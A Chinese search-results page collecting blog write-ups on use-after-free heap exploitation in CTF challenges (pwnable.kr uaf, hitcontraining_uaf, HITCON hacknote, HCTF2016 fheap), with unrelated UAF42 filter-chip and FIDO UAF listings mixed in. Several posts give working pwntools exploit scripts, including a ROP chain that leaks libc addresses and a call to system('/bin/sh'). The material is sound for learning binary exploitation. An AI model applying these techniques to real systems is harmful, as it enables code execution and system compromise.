精华内容
下载资源
问答
  • uaf

    2020-02-17 23:49:13
    Mommy, what is Use After Free bug...ssh uaf@pwnable.kr -p2222 (pw:guest) #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h>...
    Mommy, what is Use After Free bug?
    
    ssh uaf@pwnable.kr -p2222 (pw:guest)
    
    #include <fcntl.h>
    #include <iostream>
    #include <cstring>
    #include <cstdlib>
    #include <unistd.h>
    using namespace std;
    
    class Human {
    private:
    	virtual void give_shell() {
    		system("/bin/sh");
    	}
    protected:
    	int age;
    	string name;
    public:
    	virtual void introduce() {
    		cout << "My name is " << name << endl;
    		cout << "I am " << age << " years old" << endl;
    	}
    };
    
    class Man: public Human {
    public:
    	Man(string name, int age) {
    		this->name = name;
    		this->age = age;
    	}
    	virtual void introduce() {
    		Human::introduce();
    		cout << "I am a nice guy!" << endl;
    	}
    };
    
    class Woman: public Human {
    public:
    	Woman(string name, int age) {
    		this->name = name;
    		this->age = age;
    	}
    	virtual void introduce() {
    		Human::introduce();
    		cout << "I am a cute girl!" << endl;
    	}
    };
    
    int main(int argc, char *argv[]) {
    	Human *m = new Man("Jack", 25);
    	Human *w = new Woman("Jill", 21);
    
    	size_t len;
    	char *data;
    	unsigned int op;
    	while (1) {
    		cout << "1. use\n2. after\n3. free\n";
    		cin >> op;
    
    		switch (op) {
    		case 1:
    			m->introduce();
    			w->introduce();
    			break;
    		case 2:
    			len = atoi(argv[1]);
    			data = new char[len];
    			read(open(argv[2], O_RDONLY), data, len);
    			cout << "your data is allocated" << endl;
    			break;
    		case 3:
    			delete m;
    			delete w;
    			break;
    		default:
    			break;
    		}
    	}
    
    	return 0;
    }
    
    

    从IDA中可以看出,C++中对一个对象的实例化操作(如Human *m = new Man(“Jack”, 25);)分为6个调用的过程.

    std::allocator<char>::allocator(void)
    std::allocator<char>>::basic_string
    operator new(ulong)
    Man::Man()
    std::allocator<char>>::~basic_string()
    std::allocator<char>::~allocator()
    

    在这里插入图片描述
    其中,第3步代表new分配内存的过程.从mov edi,30h中可以看出,这个对象占用48字节的内存空间.第4步相当于是执行构造函数的过程.当第4步执行完成了之后,该对象对应的虚表指针和虚表都已经分配了内存并进行了初始化.我们可以从gdb-peda中看出这一过程.
    在这里插入图片描述
    其中A,即0x555555768e70代表的是实例化对象m的地址.地址A指向的内容的前8个字节是B,即0x555555755c88.指针B指向的内容的前8个字节是C,即0x555555555504.可以看出,C对应的正是虚函数Human::give_shell()的地址.由此可见,指针B代表的正是实例化对象m的虚表指针.根据虚函数的知识我们知道,虚表指针B指向的内存块中存放的是各个虚函数的地址.如C代表的正是这样的第一个虚函数的地址.即虚函数Human::give_shell()的地址.在这里插入图片描述
    从上图中可以看出,指针A指向的内容分别是指针B(实例化对象m的虚表指针),0x0000000000000019(代表m的年龄,25岁),其中0x000000006b63614a代表的是’Jack’,4ah代表J,61h代表a,63h代表c,6bh代表k.
    指针B指向的内容分别是虚函数Human::give_shell()的地址,虚函数Man::introduce()的地址,ZTI5Human的地址,虚函数Human::introduce()的地址,虚函数Human::give_shell()的地址.

    在释放m和w占用的内存之后,m和w占用的内存就空闲出来了.所以后续分配的内存会占用在释放m和w之前它们占用的内存.而m或者w对象占用的内存的前8个字节都是虚表指针,因此将虚表指针的值,即地址减去8,
    在这里插入图片描述
    如上图所示,即可以完成执行introduce虚函数时实际上执行的是give_shell虚函数.

    参考:
    virtual function in C++

    展开全文
  • UAF漏洞

    2021-03-15 13:41:35
    UAF漏洞产生原理 应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是...

    UAF漏洞产生原理
    参考链接:
    https://blog.csdn.net/qq_31481187/article/details/73612451
    应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

    程序自己实现了一套管理字符串的体系,但是在释放的时候用指针是否为空来判断该索引代表地方是否存放有字符串,如果指针不空,表示可以释放。但是释放完后,没有将指针置空,因此导致可以二次释放,多次释放。

    展开全文
  • 测试UAF-源码

    2021-02-11 14:19:38
    测试UAF Instalar Un Servidor Local(Wamp,mamp Xampp) Copiar los archivos del repositorio en la carpeta httdocs o wwww localizado en la carpeta wamp,mamp o xampp。 在phpmyAdmin中清除una base de ...
  • FIDO UAF架构

    2017-02-15 12:23:47
    本文是基于UAF架构的官方文档,其中增加了自己的理解,对其中的流程图进行了修改,以便于理解。
  • FIDO UAF协议

    2017-03-28 14:03:02
    本文对UAF协议进行了详细介绍,说明了注册、认证、交易确认和注册操作中各实体的具体处理过程和消息格式。最后对于本协议对安全、性能等方面的考虑进行了说明。
  • FIDO-UAF协议

    2018-12-30 21:18:20
    FIDO-UAF协议官方文档,FIDO协议是目前国际范围内最火的统一认证协议
  • Fido UAF接口文档

    2019-02-25 15:17:12
    Fido-UAF接口文档说明,包括注册接口、注册响应接口、鉴别请求接口、鉴别响应接口、注销请求接口
  • UAF设计软件

    2015-07-07 10:16:32
    filter42是UAF42的设计软件,但是不能再win7 64位电脑使用
  • hitcontraining_uaf

    2021-03-10 22:30:29
    看题目也知道uaf,然后看了一下delete发现果然没有把指针清零,怎么uaf呢,如果有edit的话操作空间很大,但是没有edit,只能添加和删除以及show,看到show的函数是指针我就查了下字符串,果然就找到了后门函数,截图...

    看题目也知道uaf,然后看了一下delete发现果然没有把指针清零,怎么uaf呢,如果有edit的话操作空间很大,但是没有edit,只能添加和删除以及show,看到show的函数是指针我就查了下字符串,果然就找到了后门函数,截图出问题了,不放图了,然后我们只要把linknode
    上的函数指针改称后门函数我们就能够get shell,然后我就不会了
    看了这个wphttps://blog.csdn.net/Y_peak/article/details/114632346
    然后就是因为两个堆块大小的问题,我可以把他释放之后申请到原来的函数堆块,然后就能修改他,并且用他原来的指针去show,就能触发magic
    exp

    from pwn import *
    
    r=remote('node3.buuoj.cn',29742)
    
    binsh_addr=0x8048BD0
    system_addr=0x80484A0
    magic_addr=0x8048945
    
    def add(size,content):
        r.sendlineafter(':','1')
        r.sendlineafter(':',str(size))
        r.sendlineafter(':',str(content))
    
    def delete(idx):
        r.sendlineafter(':','2')
        r.sendlineafter(':',str(idx))
    
    def show(idx):
        r.sendlineafter(':','3')
        r.sendlineafter(':',str(idx))
    
    #if we chenge the addr of one notelist to magic
    #then we chose 3, this can stimulate shell
    add(0x40,'bbbb')
    add(0x40,'cccc')
    #no edit!!!
    delete(1)
    delete(0)
    add(8,p32(magic_addr))
    show(1)
    r.interactive()
    
    '''
    add(8,'aaaa')
    delete(0)
    delete(0)
    add(40,'aaaa')
    add(8,p32(magic_addr))
    show(1)
    '''
    
    
    展开全文
  • UAF42.TSC仿真文件

    2021-03-13 10:28:47
    这是基于UAF42的50Hz陷波器设计与仿真文件,由Wayne Xu编写的。
  • uaf42的使用

    2015-08-08 16:26:39
    文档介绍了通用滤波器uaf42的使用和注意的问题
  • 未初始化UAF漏洞

    2017-04-26 16:58:14
    释放重引用(UAF)或者未初始化漏洞题目,
  • FIDO UAF ASM 接口文档

    2017-02-27 18:09:42
    本文主要说明的FIDO UAF框架中ASM 的API。
  • Add credential type uaf

    2020-12-28 00:25:51
    <p><a href="https://s3.amazonaws.com/pr-preview/w3c/webauthn/credential-type-uaf.html">Preview</a> | <a href="https://s3.amazonaws.com/pr-preview/w3c/webauthn/c7f1592...5551ad8.html">Diff</a></p>该...
  • Add uaf attestation format

    2020-12-26 02:34:17
    <p><a href="https://s3.amazonaws.com/pr-preview/w3c/webauthn/uaf-attestation-format.html">Preview</a> | <a href="https://s3.amazonaws.com/pr-preview/w3c/webauthn/a2a4210...0e68a9d.html">Diff</a></p>该...
  • uaf-for-incose

    2018-12-11 21:39:52
    UAF is the next generation of the Unified Profile for DoDAF and MoDAF (UPDM) At one time referred to as UPDM 3 Longer Answer: An enterprise architecture framework Applicable for domains similar to ...
  • fix a uaf hook bug

    2021-01-02 10:36:35
    <div><p>when free a size-8 chunk(alloc(0)), the uaf hook end address is smaller than the begin address, any memory access instructions will trigger the uaf handler by mistake.</p><p>该提问来源于开源...
  • 本文档提供滤波器UAF42的详细介绍,它具有涉及方便,使用灵活的特点。
  • 两个UAF

    2019-06-04 23:59:15
    HITCON-training-lab 10 ...本题为最简单的UAF利用 add note0,note1后chunk使用情况 0x80b4000 FASTBIN { //note0 prev_size = 0, size = 17, fd = 0x804865b <print_note_content>, //put bk...

    HITCON-training-lab 10 hacknote

    本题为最简单的UAF利用

    add note0,note1后chunk使用情况

     

    0x80b4000 FASTBIN {    //note0
      prev_size = 0, 
      size = 17, 
      fd = 0x804865b <print_note_content>,     //put
      bk = 0x80b4018,      //content
      fd_nextsize = 0x0, 
      bk_nextsize = 0x19
    }
    0x80b4010 FASTBIN {     //note0.content_chunk
      prev_size = 0, 
      size = 25, 
      fd = 0x61616161, 
      bk = 0xa, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    0x80b4028 FASTBIN {     //note1
      prev_size = 0, 
      size = 17, 
      fd = 0x804865b <print_note_content>, 
      bk = 0x80b4040,       //content
      fd_nextsize = 0x0, 
      bk_nextsize = 0x19
    }
    0x80b4038 FASTBIN {     //note1.content_chunk
      prev_size = 0, 
      size = 25, 
      fd = 0x62626262, 
      bk = 0xa, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }

    del_note(0),del_node(1)后,fastbin情况如下

    16bytes_chunk:note1_chunk->note0_chunk

    24bytes_chunk:note1.content_chunk->note0.content_chunk

    这时,当我们创建一个note2,且它的content大小为8则,note2实际上被分配到note1_chunk,note2.content实际上被分配到note0_chunk,而note2.content在创建时是可以自定义的,即我们通过note2就可以控制note0的整个结构体,而由于free之后没有置空,即存在UAF漏洞,所以note0依旧可以被使用,此时我们将magic函数覆盖到note0.put处,即可获取flag

     

    HCTF2016-fheap

    程序分析

    create

     

    unsigned __int64 add_str()
    {
      signed int i; // [rsp+4h] [rbp-102Ch]
      struc_1 *str_struc; // [rsp+8h] [rbp-1028h]
      char *string; // [rsp+10h] [rbp-1020h]
      size_t size; // [rsp+18h] [rbp-1018h]
      size_t length; // [rsp+18h] [rbp-1018h]
      char str[4096]; // [rsp+20h] [rbp-1010h]
      unsigned __int64 v7; // [rsp+1028h] [rbp-8h]
    
      v7 = __readfsqword(0x28u);
      str_struc = (struc_1 *)malloc(0x20uLL);
      printf("Pls give string size:");
      size = input_num();
      if ( size <= 0x1000 )
      {
        printf("str:");
        if ( read(0, str, size) == -1 )
        {
          puts("got elf!!");
          exit(1);
        }
        length = strlen(str);
        if ( length > 0xF )
        {
          string = (char *)malloc(length);
          if ( !string )
          {
            puts("malloc faild!");
            exit(1);
          }
          strncpy(string, str, length);
          str_struc->string = string;
          str_struc->delete = delete_all;
        }
        else
        {
          strncpy((char *)str_struc, str, length);
          str_struc->delete = delete_struc;
        }
        str_struc->size = length;
        for ( i = 0; i <= 15; ++i )
        {
          if ( !LODWORD(string_list[i].flag) )
          {
            LODWORD(string_list[i].flag) = 1;
            string_list[i].str_struc = str_struc;
            printf("The string id is %d\n", (unsigned int)i);
            break;
          }
        }
        if ( i == 16 )
        {
          puts("The string list is full");
          ((void (__fastcall *)(struc_1 *))str_struc->delete)(str_struc);
        }
      }
      else
      {
        puts("Invalid size");
        free(str_struc);
      }
      return __readfsqword(0x28u) ^ v7;
    }

    根据该函数可以分析出结构体:

     

    00000000 struc_1         struc ; (sizeof=0x20, mappedto_6)
    00000000 string          dq ?                    ; offset
    00000008 field_8         dd ?
    0000000C field_C         dd ?
    00000010 size            dq ?
    00000018 delete          dq ?                    ; offset
    00000020 struc_1         ends

    每次为结构体分配0x20字节空间。然后设置字符串大小,若字符串长度小于16,则字符串直接放到结构体前24字节,若字符串长度大于16,则重新申请空间并将指针放到结构体前8字节,最后8字节为一个delete函数,用于释放结构体本身及其字符串。

    每次申请了一个新的结构体后,将其放入一个全局数组中,该数组的元素结构如下

     

    00000000 str             struc ; (sizeof=0x10, mappedto_7)
    00000000 flag            dq ?
    00000008 str_struc       dq ?                    ; offset
    00000010 str             ends

    flag表示该struc是否存在,之后便是该结构体的指针

     

    利用思路

    1.利用UAF漏洞泄漏程序基地址

    由于程序开启了PIE,所以需要泄漏其基地址才能进一步的利用。

    要泄漏基地址,我们可以构造struc{'a'*24, puts},然后delete这个结构就能获得调用puts函数的地址

    首先申请两个结构体然后free后,fastbin如下

    struc0->struc1

    之后我们申请一个struc2,然后str长度为32,则struc2实际为struc0,str实际为struc1

    这里需要注意的是,当我们delete一个结构后,在全局数组中该结构对应的flag变为0,之后申请的结构指针就可覆盖这个指针,所以全局数组的0位置一定是会被新申请的结构覆盖的,所以应该构造struc0->struc1这样的fastbin

    2.泄漏libc基地址

    利用该UAF漏洞,我们本质上可以完成任意地址执行,在delete函数中,有一个buf缓冲区,我们可以将rop写入该缓冲区,然后pop ret跳到缓冲区执行rop,rop中我们打印puts的实际地址,然后跳转回主函数

    3.基地址都已经找到,所以将system函数地址覆盖到struc->delete位置即可,注意/bin/sh用';'结尾

    完整脚本:

     

    from pwn import *
    
    context(arch='amd64', os='linux', log_level='debug')
    
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    p = process('./pwn-f')
    
    def menu():
        p.recvuntil('3.quit\n')
    
    def add(size, string):
        p.sendline('create ')
        p.recvuntil('size:')
        p.sendline(str(size))
        p.send(string)
    
    def delete(idx):
        p.sendline('delete ')
        p.recvuntil('id:')
        p.sendline(str(idx))
        p.recvuntil('sure?:')
        p.sendline('yes')
    
    menu()
    #leak elf base
    add(8, '0')
    add(8, '1')
    #gdb.attach(p)
    delete(1)
    delete(0)
    add(32, 'a'*24+'\x2d')
    delete(1)
    p.recvuntil('a'*24)
    puts_addr = u64(p.recv(6).ljust(8, '\x00'))
    elf_base = puts_addr - 0xd2d
    print 'elf base:' + hex(elf_base)
    delete(0)
    
    #leak libc
    add(32, 'a'*24+p64(elf_base+0x11dc))
    #gdb.attach(p)
    pop_rdi = 0x11e3 + elf_base
    pop_rsi_r15 = 0x11e1 + elf_base
    puts_got = 0x202030 + elf_base
    puts_plt = 0x990 + elf_base
    rop = flat([
        pop_rdi,
        puts_got,
        puts_plt,
        elf_base + 0xc71,
        ])
    menu()
    p.sendline('delete ')
    p.recvuntil('id:')
    p.sendline('1')
    p.recvuntil('sure?:')
    p.send('yes'.ljust(8, 'a') + rop)
    puts_addr = u64(p.recv(6).ljust(8, '\x00'))
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    print 'libc base:' + hex(libc_base)
    print 'system:' + hex(system_addr)
    menu()
    delete(0)
    
    #getshell
    #gdb.attach(p)
    add(32, '/bin/sh;'.ljust(24, 'a')+p64(system_addr))
    delete(1)
    
    p.interactive()

     

    展开全文
  • uaf - pwnable

    2019-09-14 14:54:53
    uaf - pwnable 预备知识 虚函数的内存地址空间 在c++中,如果类中有虚函数(如下图中的 virtual void give_shell()),那么它就是有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的...
  • 2021_UAF_SE_Nhom06-源码

    2021-03-20 15:57:22
    2021_UAF_SE_Nhom06
  • Filter Design Program For The UAF42 Universal Active Filter UAF42.pdf
  • FIDO UAF Extension

    2017-08-14 19:31:56
    每个扩展都有一个标识符,扩展标识符的命名空间是FIDO UAF全局的(例如命名空间不依赖于)扩展消息在哪里出现)。 扩展的处理方式可被定义为:如果一个处理实体不理解特定扩展的意义,那么它必须终止处理,或指定一种...
  • pwnable [uaf]

    2018-12-24 22:57:04
    pwnable [uaf] Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2222 (pw:guest) 题意:本题主要利用了uaf漏洞,和c++类实例的内存分配。 uaf漏洞 看这个链接 c++类实例的内存分配 看这个链接 方法:类...
  • UAF的学习 Wiki

    2019-04-29 17:11:14
    不得不说 wiki 真的好真的建议好好看看~~ UAF 应该是最简单的堆溢出利用之一了 wiki 用的例子也是 UAF 题里面简单的题 这里 我用的也是 wiki 里面的例子 UAF 其实就是 free 的指针 没有 ...
  • FIDO UAF认证协议实现的安全性研究,王鑫泺,潘雪松,作为一个能够利用用户自身设备的身份验证方式,对用户完成身份验证,从而替代传统密码认证的新型认证协议,FIDO UAF认证协议已经在�
  • UAF42是一个集成化的二阶滤波器,可以用来设计复杂的滤波器。本文介绍了如何基于UAF42设计一个高性能的50Hz陷波器,并使用的仿真软件TINA对这个电路进行了仿真分析,供工程师参考和学习。  设计  ...
  • 在工业应用中,多种场合需要用到50Hz陷波器。本节将介绍使用UAF42设计一个高性能的50Hz陷波器。使用UAF42来设计50Hz陷波器,只需要外加6个电阻即可组成一个50Hz陷波器。
  • uaf42通用低通滤波器

    2015-06-07 16:10:38
    uaf42通用低通滤波器。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 770
精华内容 308
关键字:

UAF